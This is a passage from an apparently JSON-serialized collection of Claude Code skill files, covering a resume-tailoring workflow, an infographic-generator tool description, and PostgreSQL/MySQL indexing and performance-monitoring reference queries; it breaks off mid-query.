Analysis\n\n**Goal**: Gather the user's resume and target JD; establish an optimization baseline.\n\n**Steps**:\n\n1. **Collect materials**:\n   - Obtain the user's resume content (pasted text or file path)\n   - Obtain the target JD (pasted text or role description)\n   - If no JD is provided, ask about the target role direction (industry + position + level)\n\n2. **Resume baseline parsing**:\n   - Identify resume sections (education, work experience, projects, skills, etc.)\n   - Count resume length, number of experience entries, and time span\n   - Note the current resume format type (reverse-chronological / functional / hybrid)\n\n3. **JD core element extraction**:\n   - Job title and level\n   - Core responsibilities (Top 5)\n   - Hard requirements (must-haves)\n   - Nice-to-haves\n   - Key skill terms and industry jargon\n\n**Output**: Resume status summary + JD element checklist\n\n---\n\n### Phase 2: JD Keyword Match Analysis\n\n**Goal**: Systematically compare keyword coverage between the resume and JD to identify match gaps.\n\n**Steps**:\n\n1. **Categorized keyword extraction**:\n   Extract three categories of keywords from the JD:\n\n   | Category | Description | Examples |\n   |----------|-------------|----------|\n   | **Hard skill keywords** | Tech stack, tools, methodologies | Python, SQL, A/B testing, Scrum |\n   | **Soft skill keywords** | Competency requirements | Cross-team collaboration, data-driven, project management |\n   | **Industry/domain keywords** | Domain-specific terminology | DAU, conversion rate, user growth, SaaS |\n\n2. **Match analysis**:\n   Search each keyword in the resume and generate a match matrix:\n\n   ```\n   | Keyword | JD Priority | In Resume? | Location | Recommendation |\n   |---------|-------------|------------|----------|----------------|\n   | Python  | Required    | ✅ Yes     | Skills + Project 1 | Keep; add specific use-case context |\n   | SQL     | Required    | ❌ No      | -        | Add; weave into project experience |\n   ```\n\n3. **Coverage scoring**:\n   - Required keyword coverage = matched required keywords / total required keywords × 100%\n   - Nice-to-have coverage = matched nice-to-have keywords / total nice-to-have keywords × 100%\n   - **Benchmark**: Required keyword coverage ≥ 80% is passing, ≥ 90% is excellent\n\n4. **Gap-fill recommendations**:\n   - For each unmatched required keyword, recommend which section and entry to add it to\n   - Provide specific integration approaches (add to skills section / embed in experience bullet / highlight in project outcomes)\n\n**Output**: Keyword match matrix + coverage scores + gap-fill plan\n\n---\n\n### Phase 3: STAR Quantified Rewriting\n\n**Goal**: Rewrite each experience entry using the STAR method, ensuring quantified data support.\n\n**STAR Method Definition**:\n\n| Element | Meaning | Checkpoint |\n|---------|---------|------------|\n| **S** - Situation | Context & background | When, what scenario, what scale |\n| **T** - Task | Objective & responsibility | What was your role, what problem to solve |\n| **A** - Action | Specific actions taken | What you did, what methods/tools you used |\n| **R** - Result | Quantified outcomes | Data changes, efficiency gains, cost savings |\n\n**Steps**:\n\n1. **Diagnose existing entries**:\n   Evaluate STAR completeness for each experience bullet:\n\n   ```\n   Original: \"Responsible for user growth initiatives\"\n\n   Diagnosis:\n   - S (Situation): ❌ Missing — no product or stage context\n   - T (Task): ⚠️ Vague — \"initiatives\" is too generic\n   - A (Action): ❌ Missing — no specific actions described\n   - R (Result): ❌ Missing — no data whatsoever\n   Score: 1/4 (severely lacking)\n   ```\n\n2. **Quantified rewriting**:\n   After gathering additional details from the user, rewrite using the STAR structure:\n\n   ```\n   Rewritten: \"During a user growth plateau for [Product Name] (DAU 500K+),\n   led the design of a new-user activation funnel analysis framework (S+T),\n   optimized 3 critical registration flow touchpoints + designed a 7-day retention incentive strategy (A),\n   increasing new-user D1 retention from 32% to 45% and monthly active users by 18% within 3 months (R)\"\n   ```\n\n3. **Quantification guidance**:\n   If the user is unsure about specific numbers, provide prompting questions:\n\n   | Dimension | Guiding Questions |\n   |-----------|-------------------|\n   | Scale metrics | How many people did you manage / product DAU / project budget |\n   | Efficiency gains | How long did it take before vs. after optimization |\n   | Growth metrics | Revenue / users / conversion rate change |\n   | Cost savings | Money / headcount / time saved |\n   | Impact scope | Users served / clients covered / teams affected |\n\n   **Data integrity principles**:\n   - All data must be based on the user's real experience — fabrication is strictly prohibited\n   - If the user cannot provide exact figures, use reasonable ranges (e.g., \"improved by approximately 20%–30%\")\n   - Encourage relative values over absolutes (e.g., \"2× efficiency improvement\" is safer than \"saved 3.7 hours per day\")\n\n4. **Rewrite quality checklist**:\n   Each rewritten entry must satisfy:\n   - [ ] Contains at least 1 quantified data point\n   - [ ] Covers at least 3 of the 4 STAR elements\n   - [ ] Begins with an action verb (led, built, optimized, drove, designed…)\n   - [ ] No longer than 3 lines (ATS readability)\n   - [ ] Incorporates missing keywords identified in Phase 2\n\n**Output**: Before/after comparison table for each entry + STAR score changes\n\n---\n\n### Phase 4: ATS Compatibility Check\n\n**Goal**: Ensure the resume can pass ATS (Applicant Tracking System) automated screening.\n\n**ATS Basics**:\nATS is the software companies use to automatically screen resumes. It parses resume text, matches keywords, and assigns scores to determine whether a resume reaches human review. Common systems include Workday, Greenhouse, Lever, Taleo, and iCIMS.\n\n**Steps**:\n\n1. **Format compatibility check**:\n\n   | Check Item | Passing Standard | Common Issues |\n   |------------|------------------|---------------|\n   | File format | PDF or DOCX (PDF preferred) | Image-based resumes cannot be parsed |\n   | Layout | Single-column, standard heading hierarchy | Multi-column layouts may parse incorrectly |\n   | Fonts | Standard fonts (Arial, Calibri, Times New Roman, Helvetica) | Decorative fonts may render incorrectly |\n   | Tables | Avoid complex table-based layouts | Text inside tables may be skipped |\n   | Headers/footers | Keep critical info out of headers/footers | Some ATS skip header/footer regions |\n   | Images/icons | Don't use images to convey key information | ATS cannot read text in images |\n   | Special characters | Avoid special Unicode bullet characters | Use standard bullets (•) or hyphens (-) |\n\n2. **Content structure check**:\n\n   | Check Item | Passing Standard |\n   |------------|------------------|\n   | Section titles | Use standard headings (\"Work Experience\", \"Education\", \"Projects\", \"Skills\") |\n   | Date format | Consistent format (e.g., \"Jan 2023 – Jun 2024\" or \"2023/01 – 2024/06\") |\n   | Company/school names | Use full names, not abbreviations (e.g., \"Amazon Web Services\" not \"AWS\") |\n   | Contact information | Include name, phone, email — placed prominently at the top |\n   | File naming | Recommended format: \"FirstName_LastName_TargetRole_Resume\" (e.g., \"John_Smith_Product_Manager_Resume.pdf\") |\n\n3. **Keyword density check**:\n   - Core keywords should appear at least 2–3 times (distributed across different sections)\n   - Avoid keyword stuffing (repeating the same keyword within one paragraph)\n   - Use the exact phrasing from the JD (if the JD says \"data analysis,\" don't write \"data mining\")\n\n4. **ATS score output**:\n\n   ```\n   ATS Compatibility Scorecard\n   ===========================\n   Format Compatibility:     ██████████ 90/100\n   Section Standards:        ████████░░ 80/100\n   Keyword Match Rate:       ███████░░░ 70/100 (see Phase 2)\n   Content Structure:        █████████░ 85/100\n   ──────────────────────────\n   Overall Score:            81/100 (Good)\n\n   ⚠️ Major deductions:\n   1. Uses a two-column layout (−10 pts)\n   2. Missing a standalone \"Skills\" section (−5 pts)\n   3. \"Data analysis\" keyword appears only once (−5 pts)\n   ```\n\n**Output**: ATS compatibility scorecard + item-by-item results + fix recommendations\n\n---\n\n### Phase 5: Final Optimized Output\n\n**Goal**: Consolidate findings from all four phases into a final optimization deliverable.\n\n**Steps**:\n\n1. **Optimization summary**:\n   ```\n   Resume Optimization Summary\n   ===========================\n   JD Keyword Coverage:      62% → 92% (+30%)\n   STAR Completeness:        Avg 1.5/4 → 3.5/4\n   ATS Compatibility Score:  55/100 → 88/100\n   Entries Rewritten:        6/8\n   Keywords Added:           7\n   ```\n\n2. **Output the fully rewritten resume**:\n   - Present the optimized resume text section by section\n   - **Bold** all changed portions for easy comparison\n   - Keep all factual information unchanged (schools, companies, dates, etc.)\n\n3. **Additional recommendations** (if applicable):\n   - Resume length guidance (new grads: 1 page; 3–5 years experience: 1–2 pages; 10+ years: up to 2 pages)\n   - Section ordering suggestions (adjust education vs. experience placement based on career stage)\n   - Channel-specific tweaks (different emphasis for recruiter / company portal / referral submissions)\n\n**Output**: Optimization summary + fully rewritten resume + additional recommendations\n\n---\n\n## Workflow Control Rules\n\n### Interaction Modes\n\n| User Input | Mode | Behavior |\n|------------|------|----------|\n| Resume only, no JD | **Guided mode** | Ask about the target role and JD first, then begin analysis |\n| Resume + JD | **Standard mode** | Execute Phases 1–5 in full |\n| Requests a specific phase only | **Single-phase mode** | Execute only the requested Phase (e.g., ATS check only) |\n| Says \"just give it a quick look\" | **Diagnostic mode** | Output three scores + Top 3 improvement suggestions — no full rewrite |\n\n### Quality Checklist\n\nBefore delivering the final output, verify each item:\n\n- [ ] Keyword match matrix is complete (covers all required JD items)\n- [ ] Every rewritten entry includes at least 1 quantified data point\n- [ ] STAR rewrites preserve the authenticity of the user's real experience\n- [ ] No data or experience has been fabricated\n- [ ] ATS check covers all format items\n- [ ] Rewritten resume length is appropriate\n- [ ] Keywords are woven in naturally — not force-fitted\n- [ ] Contact details and sensitive information have not been leaked or altered\n\n### Iterative Refinement\n\nIf the user provides feedback on the optimization:\n1. Identify which Phase the feedback relates to\n2. Re-execute from that Phase\n3. Cascade updates to all downstream content\n4. Maintain overall consistency (keywords, STAR rewrites, and ATS checks update in lockstep)\n\n## Core Principles\n\n1. **Authenticity first**: All optimizations must be based on the user's real experience — fabricating data or experience is strictly prohibited\n2. **Targeted optimization**: Every change should serve JD alignment — no aimless embellishment\n3. **Actionable advice**: Recommendations must be directly usable — don't say \"add metrics\" without guiding the user on how\n4. **Privacy protection**: Remind users to redact sensitive information (phone numbers, home addresses, etc.) when sharing their resume\n","frontmatter":{"name":"cv-tailor","description":"Optimize resumes by matching keywords to the job description, rewriting experience with the quantified STAR method, and checking ATS compatibility. Triggered when users ask for resume help, review, or polishing, mention JD matching, STAR method, ATS, or want to tailor their resume for a specific role.","license":"MIT"},"isInternal":false,"tokens":2827,"sizeBytes":12608},{"name":"SKILL.md","path":"skills/data-viz-renderer/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/data-viz-renderer/SKILL.md","title":"data-viz-renderer","category":"anthropic-skill","format":"markdown","content":"---\nname: data-viz-renderer\ndescription: \"Generate self-contained HTML/SVG infographics from JSON data, including stat cards, bar charts, flow diagrams, and mixed dashboards. Offers 8 color palettes and built-in icons with no external dependencies. Triggered when users request data visualization, infographics, charts, or dashboards.\"\nlicense: MIT\ntype: tool\ntags: [\"infographic\", \"visualization\", \"svg\", \"html\", \"chart\", \"dashboard\"]\n---\n\n# Data Viz Renderer\n\nGenerate self-contained HTML/SVG infographics from JSON data. Four supported types:\n\n1. **Stats Cards** — KPI big numbers + trend arrows + icons\n2. **Comparison Chart** — Grouped bar chart with multiple series\n3. **Flow Diagram** — Step-by-step process with numbering, icons, and connecting arrows\n4. **Dashboard** — Mixed layout: stat cards + bar chart + donut chart + flow\n\nOutput is a **fully self-contained** HTML file (all CSS/SVG inline, no external dependencies), ready to open directly in a browser.\n\n## Usage\n\n### Basic Usage\n\n```bash\npython3 scripts/build_infographic.py config.json\n```\n\nAlso supports reading from stdin:\n\n```bash\ncat config.json | python3 scripts/build_infographic.py\n```\n\nThe script outputs a JSON status to stdout and writes the generated HTML to the path specified in the `output` field.\n\n### JSON Configuration Format\n\nCommon fields:\n\n| Field | Type | Required | Description |\n|-------|------|----------|-------------|\n| `title` | string | No | Infographic title |\n| `subtitle` | string | No | Subtitle |\n| `type` | string | Yes | `stats` / `comparison` / `flow` / `dashboard` |\n| `palette` | string | No | Color palette (default: `auto`) |\n| `data` | object/array | Yes | Data content (format depends on type) |\n| `output` | string | No | Output file path (default: `infographic.html`) |\n| `footer` | string | No | Footer text |\n\n### Color Palettes\n\nAvailable values: `auto` (automatically chosen based on data), `ocean`, `sunset`, `forest`, `berry`, `vibrant`, `corporate`, `pastel`, `earth`\n\n### Data Format by Type\n\n#### 1. stats — Stat Cards\n\n```json\n{\n  \"type\": \"stats\",\n  \"data\": [\n    {\n      \"label\": \"Total Revenue\",\n      \"value\": \"$1.2M\",\n      \"icon\": \"money\",\n      \"trend\": \"+12.5%\",\n      \"trend_dir\": \"up\"\n    },\n    {\n      \"label\": \"Users\",\n      \"value\": \"45,230\",\n      \"icon\": \"users\",\n      \"trend\": \"+8.2%\",\n      \"trend_dir\": \"up\"\n    }\n  ]\n}\n```\n\n**icon** options: `users`, `user`, `money`, `percent`, `globe`, `clock`, `check`, `star`, `target`, `zap`, `chart-bar`, `chart-pie`, `database`, `rocket`, `shield`, `heart`, `light`, `search`, `mail`, `settings`, `flag`, `trending-up`, `trending-down`\n\n**trend_dir**: `up` (green upward arrow) or `down` (red downward arrow)\n\n#### 2. comparison — Bar Chart Comparison\n\n```json\n{\n  \"type\": \"comparison\",\n  \"data\": {\n    \"chart_title\": \"Quarterly Revenue Comparison\",\n    \"categories\": [\"Q1\", \"Q2\", \"Q3\", \"Q4\"],\n    \"series\": [\n      {\"name\": \"2024\", \"values\": [320, 410, 380, 520]},\n      {\"name\": \"2025\", \"values\": [380, 490, 450, 610]}\n    ]\n  }\n}\n```\n\n#### 3. flow — Flow Diagram\n\n```json\n{\n  \"type\": \"flow\",\n  \"data\": [\n    {\"step\": 1, \"title\": \"Requirements\", \"description\": \"Gather user needs\", \"icon\": \"search\"},\n    {\"step\": 2, \"title\": \"Design\", \"description\": \"Create technical plan\", \"icon\": \"light\"},\n    {\"step\": 3, \"title\": \"Development\", \"description\": \"Code and test\", \"icon\": \"settings\"},\n    {\"step\": 4, \"title\": \"Launch\", \"description\": \"Deploy to production\", \"icon\": \"rocket\"}\n  ]\n}\n```\n\n#### 4. dashboard — Mixed Dashboard\n\n```json\n{\n  \"type\": \"dashboard\",\n  \"data\": {\n    \"stats\": [\n      {\"label\": \"DAU\", \"value\": \"12.3K\", \"icon\": \"users\", \"trend\": \"+5%\", \"trend_dir\": \"up\"},\n      {\"label\": \"Conversion Rate\", \"value\": \"3.8%\", \"icon\": \"target\", \"trend\": \"-0.2%\", \"trend_dir\": \"down\"}\n    ],\n    \"chart\": {\n      \"chart_title\": \"Monthly Trend\",\n      \"categories\": [\"Jan\", \"Feb\", \"Mar\", \"Apr\"],\n      \"series\": [{\"name\": \"DAU\", \"values\": [10200, 11500, 11800, 12300]}]\n    },\n    \"breakdown\": [\n      {\"label\": \"iOS\", \"value\": 45},\n      {\"label\": \"Android\", \"value\": 38},\n      {\"label\": \"Web\", \"value\": 17}\n    ],\n    \"flow\": [\n      {\"step\": 1, \"title\": \"Sign Up\", \"description\": \"\"},\n      {\"step\": 2, \"title\": \"Activate\", \"description\": \"\"},\n      {\"step\": 3, \"title\": \"Retain\", \"description\": \"\"}\n    ]\n  }\n}\n```\n\n## Output Format\n\nThe script outputs a JSON result to stdout:\n\n```json\n{\n  \"status\": \"success\",\n  \"output\": \"/absolute/path/to/infographic.html\",\n  \"type\": \"stats\",\n  \"title\": \"My Infographic\",\n  \"palette\": \"auto\",\n  \"size_bytes\": 8432\n}\n```\n\nOn error:\n\n```json\n{\n  \"status\": \"error\",\n  \"errors\": [\"Missing required field: data\"]\n}\n```\n\n## Design Highlights\n\n- **Zero external dependencies**: Pure Python standard library, no pip install needed\n- **Self-contained output**: HTML with all CSS and SVG inline, no network required\n- **Responsive layout**: Works on both desktop and mobile browsers\n- **Professional palettes**: 8 preset color schemes + automatic selection\n- **24+ built-in icons**: Common SVG icons, no font files needed\n- **CJK-friendly**: Font stack includes Noto Sans SC, PingFang SC, Microsoft YaHei\n\n## Use Cases\n\n- Visualization modules in data reports\n- Product data dashboards\n- Business process illustrations\n- Quarterly/monthly data comparisons\n- Team KPI displays\n\n## Dependencies\n\n- Python 3.7+ (standard library only)\n","frontmatter":{"name":"data-viz-renderer","description":"Generate self-contained HTML/SVG infographics from JSON data, including stat cards, bar charts, flow diagrams, and mixed dashboards. Offers 8 color palettes and built-in icons with no external dependencies. Triggered when users request data visualization, infographics, charts, or dashboards.","license":"MIT","type":"tool","tags":["infographic","visualization","svg","html","chart","dashboard"]},"isInternal":false,"tokens":1517,"sizeBytes":5370},{"name":"index-strategies.md","path":"skills/database-optimizer/references/index-strategies.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/database-optimizer/references/index-strategies.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# Index Strategies\n\n## Index Selection Methodology\n\n### Identify Index Candidates\n\n```sql\n-- PostgreSQL: Find queries missing indexes\nSELECT query, calls, total_exec_time, mean_exec_time\nFROM pg_stat_statements\nWHERE mean_exec_time > 100\nORDER BY total_exec_time DESC\nLIMIT 20;\n\n-- PostgreSQL: Find sequential scans on large tables\nSELECT schemaname, tablename, seq_scan, seq_tup_read,\n       idx_scan, seq_tup_read / seq_scan as avg_seq_tup_read\nFROM pg_stat_user_tables\nWHERE seq_scan > 0\n  AND seq_tup_read / seq_scan > 10000\nORDER BY seq_tup_read DESC;\n\n-- MySQL: Check table scans\nSELECT * FROM sys.statements_with_full_table_scans\nWHERE db = 'your_database'\nORDER BY exec_count DESC;\n```\n\n## B-Tree Indexes (Default)\n\n### Single Column Indexes\n\n```sql\n-- Create index for WHERE clauses\nCREATE INDEX idx_users_email ON users(email);\n\n-- Create index for JOIN conditions\nCREATE INDEX idx_orders_user_id ON orders(user_id);\n\n-- Create index for ORDER BY\nCREATE INDEX idx_products_price ON products(price);\n\n-- Unique constraint as index\nCREATE UNIQUE INDEX idx_users_username ON users(username);\n```\n\n### Multi-Column Indexes\n\n```sql\n-- Order matters: most selective column first\nCREATE INDEX idx_orders_status_created\nON orders(status, created_at);\n\n-- Good for queries:\n-- WHERE status = 'pending'\n-- WHERE status = 'pending' AND created_at > '2024-01-01'\n-- WHERE status = 'pending' ORDER BY created_at\n\n-- NOT good for:\n-- WHERE created_at > '2024-01-01' (status not specified)\n\n-- Include commonly queried columns\nCREATE INDEX idx_users_active_email_name\nON users(active, email) INCLUDE (name);\n```\n\n### Column Order Guidelines\n\n```sql\n-- Rule 1: Equality before range\nCREATE INDEX idx_events_type_timestamp\nON events(type, timestamp);  -- type = 'click' AND timestamp > ...\n\n-- Rule 2: High selectivity first\nCREATE INDEX idx_orders_user_status\nON orders(user_id, status);  -- user_id is more selective than status\n\n-- Rule 3: Match query patterns\n-- Query: WHERE country = 'US' AND city = 'NYC' AND zip = '10001'\nCREATE INDEX idx_locations_country_city_zip\nON locations(country, city, zip);\n```\n\n## Covering Indexes\n\n### PostgreSQL INCLUDE Clause\n\n```sql\n-- Include non-key columns for index-only scans\nCREATE INDEX idx_users_email_covering\nON users(email) INCLUDE (name, created_at);\n\n-- Query can be satisfied entirely from index\nEXPLAIN (ANALYZE, BUFFERS)\nSELECT name, created_at\nFROM users\nWHERE email = 'user@example.com';\n-- Should show \"Index Only Scan\"\n```\n\n### MySQL Covering Indexes\n\n```sql\n-- MySQL: Add columns to end of index\nCREATE INDEX idx_orders_user_covering\nON orders(user_id, status, created_at, total);\n\n-- Query uses covering index\nEXPLAIN\nSELECT status, created_at, total\nFROM orders\nWHERE user_id = 123;\n-- Should show \"Using index\" in Extra column\n```\n\n## Partial Indexes\n\n### PostgreSQL Partial Indexes\n\n```sql\n-- Index only active users\nCREATE INDEX idx_users_active_email\nON users(email)\nWHERE active = true;\n\n-- Index only recent orders\nCREATE INDEX idx_orders_recent\nON orders(user_id, created_at)\nWHERE created_at > NOW() - INTERVAL '30 days';\n\n-- Index only pending/processing orders (ignore completed)\nCREATE INDEX idx_orders_active\nON orders(status, user_id)\nWHERE status IN ('pending', 'processing');\n\n-- Smaller index = better performance + less storage\n```\n\n### MySQL Filtered Indexes (8.0+)\n\n```sql\n-- MySQL 8.0+ supports functional indexes for similar effect\nCREATE INDEX idx_users_active\nON users((CASE WHEN active = 1 THEN email END));\n```\n\n## Expression Indexes\n\n### PostgreSQL Function Indexes\n\n```sql\n-- Index for case-insensitive search\nCREATE INDEX idx_users_email_lower\nON users(LOWER(email));\n\n-- Query must match expression\nSELECT * FROM users\nWHERE LOWER(email) = LOWER('User@Example.com');\n\n-- Index for JSONB queries\nCREATE INDEX idx_users_settings_theme\nON users((settings->>'theme'));\n\nSELECT * FROM users\nWHERE settings->>'theme' = 'dark';\n\n-- Index for date truncation\nCREATE INDEX idx_orders_date\nON orders(DATE(created_at));\n```\n\n### MySQL Generated Column Indexes\n\n```sql\n-- Create generated column, then index it\nALTER TABLE users\nADD COLUMN email_lower VARCHAR(255)\nGENERATED ALWAYS AS (LOWER(email)) STORED;\n\nCREATE INDEX idx_users_email_lower\nON users(email_lower);\n\n-- Use in queries\nSELECT * FROM users\nWHERE email_lower = LOWER('User@Example.com');\n```\n\n## Specialized Index Types\n\n### PostgreSQL GIN Indexes (Full-Text, Arrays, JSONB)\n\n```sql\n-- Full-text search\nCREATE INDEX idx_posts_search\nON posts USING GIN(to_tsvector('english', title || ' ' || content));\n\nSELECT * FROM posts\nWHERE to_tsvector('english', title || ' ' || content)\n      @@ to_tsquery('english', 'database & optimization');\n\n-- Array search\nCREATE INDEX idx_products_tags\nON products USING GIN(tags);\n\nSELECT * FROM products\nWHERE tags @> ARRAY['electronics', 'sale'];\n\n-- JSONB search\nCREATE INDEX idx_users_metadata\nON users USING GIN(metadata);\n\nSELECT * FROM users\nWHERE metadata @> '{\"plan\": \"premium\"}';\n```\n\n### PostgreSQL GiST Indexes (Geometric, Range)\n\n```sql\n-- Range types\nCREATE INDEX idx_events_time_range\nON events USING GIST(time_range);\n\nSELECT * FROM events\nWHERE time_range && '[2024-01-01, 2024-01-31]'::tstzrange;\n\n-- PostGIS geometric queries\nCREATE INDEX idx_locations_coords\nON locations USING GIST(coordinates);\n```\n\n### MySQL Full-Text Indexes\n\n```sql\n-- Full-text search\nCREATE FULLTEXT INDEX idx_posts_content\nON posts(title, content);\n\nSELECT * FROM posts\nWHERE MATCH(title, content)\n      AGAINST('database optimization' IN NATURAL LANGUAGE MODE);\n\n-- Boolean mode for complex searches\nSELECT * FROM posts\nWHERE MATCH(title, content)\n      AGAINST('+database -mysql' IN BOOLEAN MODE);\n```\n\n## Index Maintenance\n\n### PostgreSQL Maintenance\n\n```sql\n-- Update statistics for query planner\nANALYZE users;\n\n-- Rebuild bloated index\nREINDEX INDEX CONCURRENTLY idx_users_email;\n\n-- Check index bloat\nSELECT\n    schemaname, tablename, indexname,\n    pg_size_pretty(pg_relation_size(indexrelid)) as index_size,\n    idx_scan as scans,\n    idx_tup_read as tuples_read,\n    idx_tup_fetch as tuples_fetched\nFROM pg_stat_user_indexes\nORDER BY pg_relation_size(indexrelid) DESC;\n\n-- Find unused indexes\nSELECT\n    schemaname, tablename, indexname,\n    idx_scan,\n    pg_size_pretty(pg_relation_size(indexrelid)) as index_size\nFROM pg_stat_user_indexes\nWHERE idx_scan = 0\n  AND indexrelname NOT LIKE 'pg_toast%'\nORDER BY pg_relation_size(indexrelid) DESC;\n```\n\n### MySQL Maintenance\n\n```sql\n-- Update statistics\nANALYZE TABLE users;\n\n-- Rebuild index\nALTER TABLE users DROP INDEX idx_users_email, ADD INDEX idx_users_email(email);\n\n-- Check index usage\nSELECT\n    object_schema,\n    object_name,\n    index_name,\n    count_star,\n    count_read,\n    count_fetch\nFROM performance_schema.table_io_waits_summary_by_index_usage\nWHERE object_schema = 'your_database'\nORDER BY count_star DESC;\n\n-- Find unused indexes\nSELECT\n    object_schema,\n    object_name,\n    index_name\nFROM performance_schema.table_io_waits_summary_by_index_usage\nWHERE index_name IS NOT NULL\n  AND count_star = 0\n  AND object_schema = 'your_database';\n```\n\n## Index Anti-Patterns\n\n| Anti-Pattern          | Issue                                           | Solution                                 |\n| --------------------- | ----------------------------------------------- | ---------------------------------------- |\n| Index every column    | Write overhead, storage waste                   | Index based on query patterns            |\n| Redundant indexes     | `(a)` + `(a,b)`                                 | Keep only `(a,b)`                        |\n| Wrong column order    | `(created_at, user_id)` for `WHERE user_id = ?` | Put filtered columns first               |\n| Over-covering         | Including rarely-used columns                   | Include only frequently accessed columns |\n| Ignoring WHERE clause | Full index for 5% of data                       | Use partial indexes                      |\n| Expression mismatch   | Index `email`, query `LOWER(email)`             | Create expression index                  |\n\n## Index Design Checklist\n\n1. **Analyze queries**: Use pg_stat_statements or slow query log\n2. **Check execution plans**: Look for Seq Scan on large tables\n3. **Design indexes**: Equality → Range → Include\n4. **Create concurrently**: Avoid locking (PostgreSQL)\n5. **Validate improvement**: Compare before/after EXPLAIN\n6. **Monitor usage**: Remove unused indexes after 30 days\n7. **Maintain regularly**: VACUUM, ANALYZE, REINDEX as needed\n","isInternal":false,"tokens":1980,"sizeBytes":8506},{"name":"monitoring-analysis.md","path":"skills/database-optimizer/references/monitoring-analysis.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/database-optimizer/references/monitoring-analysis.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# Monitoring and Analysis\n\n## PostgreSQL Monitoring\n\n### Essential Extensions\n\n```sql\n-- Install performance monitoring extensions\nCREATE EXTENSION IF NOT EXISTS pg_stat_statements;\nCREATE EXTENSION IF NOT EXISTS pg_buffercache;\nCREATE EXTENSION IF NOT EXISTS pg_trgm;  -- For similarity searches\n\n-- Reset statistics\nSELECT pg_stat_statements_reset();\nSELECT pg_stat_reset();\n```\n\n### Query Performance Tracking\n\n```sql\n-- Top queries by total time\nSELECT\n    substring(query, 1, 100) as short_query,\n    round(total_exec_time::numeric, 2) as total_time_ms,\n    calls,\n    round(mean_exec_time::numeric, 2) as mean_time_ms,\n    round(stddev_exec_time::numeric, 2) as stddev_ms,\n    round((100 * total_exec_time / sum(total_exec_time) OVER ())::numeric, 2) as pct_total\nFROM pg_stat_statements\nWHERE query NOT LIKE '%pg_stat_statements%'\nORDER BY total_exec_time DESC\nLIMIT 20;\n\n-- Queries with high variance\nSELECT\n    substring(query, 1, 100) as short_query,\n    calls,\n    round(mean_exec_time::numeric, 2) as mean_ms,\n    round(stddev_exec_time::numeric, 2) as stddev_ms,\n    round(max_exec_time::numeric, 2) as max_ms,\n    round((stddev_exec_time / NULLIF(mean_exec_time, 0))::numeric, 2) as coeff_var\nFROM pg_stat_statements\nWHERE calls > 100\n  AND stddev_exec_time > mean_exec_time * 0.5\nORDER BY stddev_exec_time DESC\nLIMIT 20;\n\n-- I/O intensive queries\nSELECT\n    substring(query, 1, 100) as short_query,\n    calls,\n    shared_blks_hit,\n    shared_blks_read,\n    shared_blks_written,\n    round((shared_blks_read::numeric / NULLIF(calls, 0)), 2) as reads_per_call,\n    round((shared_blks_hit / NULLIF(shared_blks_hit + shared_blks_read, 0)::numeric * 100), 2) as cache_hit_pct\nFROM pg_stat_statements\nWHERE shared_blks_read > 0\nORDER BY shared_blks_read DESC\nLIMIT 20;\n```\n\n### Connection and Lock Monitoring\n\n```sql\n-- Current activity\nSELECT\n    pid,\n    usename,\n    application_name,\n    client_addr,\n    state,\n    state_change,\n    query_start,\n    now() - query_start as duration,\n    wait_event_type,\n    wait_event,\n    substring(query, 1, 100) as query\nFROM pg_stat_activity\nWHERE state != 'idle'\nORDER BY query_start;\n\n-- Blocking queries\nSELECT\n    blocked_locks.pid AS blocked_pid,\n    blocked_activity.usename AS blocked_user,\n    blocking_locks.pid AS blocking_pid,\n    blocking_activity.usename AS blocking_user,\n    blocked_activity.query AS blocked_query,\n    blocking_activity.query AS blocking_query,\n    blocked_activity.application_name AS blocked_app\nFROM pg_catalog.pg_locks blocked_locks\nJOIN pg_catalog.pg_stat_activity blocked_activity ON blocked_activity.pid = blocked_locks.pid\nJOIN pg_catalog.pg_locks blocking_locks\n    ON blocking_locks.locktype = blocked_locks.locktype\n    AND blocking_locks.database IS NOT DISTINCT FROM blocked_locks.database\n    AND blocking_locks.relation IS NOT DISTINCT FROM blocked_locks.relation\n    AND blocking_locks.page IS NOT DISTINCT FROM blocked_locks.page\n    AND blocking_locks.tuple IS NOT DISTINCT FROM blocked_locks.tuple\n    AND blocking_locks.virtualxid IS NOT DISTINCT FROM blocked_locks.virtualxid\n    AND blocking_locks.transactionid IS NOT DISTINCT FROM blocked_locks.transactionid\n    AND blocking_locks.classid IS NOT DISTINCT FROM blocked_locks.classid\n    AND blocking_locks.objid IS NOT DISTINCT FROM blocked_locks.objid\n    AND blocking_locks.objsubid IS NOT DISTINCT FROM blocked_locks.objsubid\n    AND blocking_locks.pid != blocked_locks.pid\nJOIN pg_catalog.pg_stat_activity blocking_activity ON blocking_activity.pid = blocking_locks.pid\nWHERE NOT blocked_locks.granted;\n\n-- Wait events summary\nSELECT\n    wait_event_type,\n    wait_event,\n    count(*) as waiting_connections\nFROM pg_stat_activity\nWHERE wait_event IS NOT NULL\nGROUP BY wait_event_type, wait_event\nORDER BY waiting_connections DESC;\n```\n\n### Table and Index Statistics\n\n```sql\n-- Table bloat and dead tuples\nSELECT\n    schemaname,\n    tablename,\n    pg_size_pretty(pg_total_relation_size(schemaname||'.'||tablename)) as total_size,\n    n_live_tup,\n    n_dead_tup,\n    round(n_dead_tup * 100.0 / NULLIF(n_live_tup + n_dead_tup, 0), 2) as dead_pct,\n    last_vacuum,\n    last_autovacuum,\n    last_analyze,\n    last_autoanalyze\nFROM pg_stat_user_tables\nWHERE n_live_tup > 1000\nORDER BY n_dead_tup DESC;\n\n-- Index usage and efficiency\nSELECT\n    schemaname,\n    tablename,\n    indexname,\n    idx_scan,\n    idx_tup_read,\n    idx_tup_fetch,\n    pg_size_pretty(pg_relation_size(indexrelid)) as size,\n    CASE\n        WHEN idx_scan = 0 THEN 'UNUSED'\n        WHEN idx_tup_read = 0 THEN 'NEVER_READ'\n        ELSE 'ACTIVE'\n    END as status\nFROM pg_stat_user_indexes\nORDER BY pg_relation_size(indexrelid) DESC;\n\n-- Sequential scans on large tables\nSELECT\n    schemaname,\n    tablename,\n    seq_scan,\n    seq_tup_read,\n    idx_scan,\n    n_live_tup,\n    pg_size_pretty(pg_total_relation_size(schemaname||'.'||tablename)) as size\nFROM pg_stat_user_tables\nWHERE seq_scan > 0\n  AND n_live_tup > 10000\n  AND seq_tup_read / NULLIF(seq_scan, 0) > 